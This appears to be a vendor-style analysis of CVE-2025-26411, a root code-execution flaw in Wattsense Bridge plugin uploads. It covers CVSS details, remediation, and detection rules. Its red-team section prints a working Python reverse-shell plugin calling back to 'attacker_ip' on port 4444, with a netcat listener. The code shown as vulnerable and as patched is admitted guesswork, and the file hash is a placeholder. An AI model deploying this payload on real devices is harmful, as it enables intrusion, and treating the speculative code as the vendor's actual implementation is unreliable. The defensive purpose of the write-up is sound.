CVE-2025-26411

Executive Summary

CVE-2025-26411 is a critical vulnerability in Wattsense Bridge devices that allows an authenticated attacker to upload malicious Python files via the Plugin Manager web interface, leading to remote root access. The vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) and has a CVSS score of 10.0 (Critical). The attack requires a valid user account on the Wattsense web interface, but once authenticated, the attacker can achieve full system compromise. The issue is fixed in firmware versions BSP >= 6.1.0.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Wattsense Bridge device firmware, which is a proprietary embedded system. The attack vector involves uploading Python files, which are executed with root privileges, bypassing any package management or supply chain controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires valid user account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows an authenticated attacker to gain root access, leading to full device compromise, data exfiltration, and potential lateral movement within the network.

Deep Dive & Mechanics

The Wattsense Bridge device provides a web interface for management, including a Plugin Manager feature. This feature allows users to upload Python plugins to extend device functionality. The vulnerability lies in the lack of proper validation and sanitization of uploaded files. An authenticated attacker can upload a malicious Python file that, when executed by the device, grants root-level access.

Attack Flow:

1. Authentication: The attacker obtains valid credentials for the Wattsense web interface (e.g., via phishing, credential stuffing, or default credentials).
2. Access Plugin Manager: The attacker navigates to the Plugin Manager section of the web interface.
3. Upload Malicious File: The attacker uploads a Python file containing code to spawn a reverse shell, create a backdoor, or execute arbitrary commands.
4. Execution: The device executes the uploaded Python file with root privileges, giving the attacker full control.
5. Persistence: The attacker can install persistent backdoors, modify system files, or exfiltrate data.

Root Cause: The Plugin Manager does not enforce file type restrictions, signature verification, or sandboxing. The uploaded files are executed in the context of the root user, bypassing any privilege separation.

Vulnerable vs. Patched Code

Vulnerable Code (BSP < 6.1.0): The Plugin Manager likely uses a simple file upload handler without validation. Example pseudocode:

def upload_plugin(file):
    # No file type check
    # No signature verification
    save_to_plugins_dir(file)
    execute(file)  # Executed as root

Patched Code (BSP >= 6.1.0): The patched version introduces file validation and sandboxing. Example pseudocode:

def upload_plugin(file):
    if not is_valid_python_plugin(file):
        reject("Invalid plugin")
    if not verify_signature(file):
        reject("Invalid signature")
    save_to_sandboxed_dir(file)
    execute_in_sandbox(file)  # Executed with limited privileges

The patch ensures that only signed and validated plugins are executed, and they run in a sandboxed environment with reduced privileges.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for the Wattsense web interface.
• Network access to the Wattsense Bridge device.

Exploitation Steps:

1. Login: Authenticate to the Wattsense web interface.
2. Navigate to Plugin Manager: Locate the Plugin Manager section.
3. Upload Malicious Plugin: Create a Python file that establishes a reverse shell. Example:

   import socket, subprocess, os
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("attacker_ip", 4444))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   subprocess.call(["/bin/sh", "-i"])
   

4. Trigger Execution: The device executes the plugin, connecting back to the attacker's listener.
5. Gain Root Access: The attacker receives a root shell on the device.

Lab Setup:

• Use a Wattsense Bridge device with firmware BSP < 6.1.0.
• Set up a listener on the attacker machine: nc -lvnp 4444
• Upload the malicious plugin via the web interface.

Blue Team

Detection:

• Monitor for unusual file uploads to the Plugin Manager.
• Alert on execution of unsigned or unknown Python files.
• Use network monitoring to detect reverse shell connections.

Mitigation:

• Immediately upgrade to BSP >= 6.1.0.
• Restrict access to the web interface using network segmentation.
• Enforce strong authentication and multi-factor authentication (MFA).
• Monitor logs for Plugin Manager activity.

Indicators of Compromise (IOCs)

• File Hashes: (Example – replace with actual hashes if available)
  • malicious_plugin.py – SHA256: a1b2c3d4e5f6...
• Network Indicators:
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • Unusual traffic patterns from the Wattsense Bridge device.
• System Indicators:
  • Unexpected Python processes running as root.
  • New files in the plugins directory with suspicious names.
  • Modified system binaries or configuration files.
• Log Indicators:
  • Plugin Manager upload events without corresponding validation logs.
  • Failed authentication attempts followed by successful uploads.

Detection Engineering

YARA Rule

rule CVE_2025_26411_Wattsense_Malicious_Plugin {
    meta:
        description = "Detects malicious Python plugins uploaded to Wattsense Bridge"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26411"
    strings:
        $socket = "socket.socket" nocase
        $connect = "s.connect" nocase
        $subprocess = "subprocess.call" nocase
        $reverse_shell = "/bin/sh" nocase
    condition:
        all of them
}

Sigma Rule

title: Wattsense Bridge Malicious Plugin Upload
id: cve-2025-26411
status: experimental
description: Detects upload of malicious Python files to Wattsense Bridge Plugin Manager
author: Valters IT
logsource:
    product: wattsense
    service: web
detection:
    selection:
        EventID: 1001  # Example event ID for file upload
        FileName|endswith: '.py'
        User|contains: 'admin'  # Example user
    condition: selection
falsepositives:
    - Legitimate plugin uploads by authorized users
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-26411 Wattsense Bridge Reverse Shell"; flow:to_server,established; content:"/bin/sh"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Firmware: Update all Wattsense Bridge devices to BSP >= 6.1.0.
2. Restrict Access: Limit access to the web interface to trusted IPs only.
3. Change Credentials: Reset all user passwords and enforce strong password policies.
4. Enable MFA: Implement multi-factor authentication for the web interface.

Long-Term Measures:

• Implement file upload validation and sandboxing for all plugins.
• Conduct regular security audits of the Plugin Manager.
• Monitor for anomalous behavior using the provided detection rules.
• Apply the principle of least privilege to all device services.

Valters IT Signature

Report generated by Valters IT DevSecOps Team
CVE-2025-26411 Analysis
Date: 2025-04-10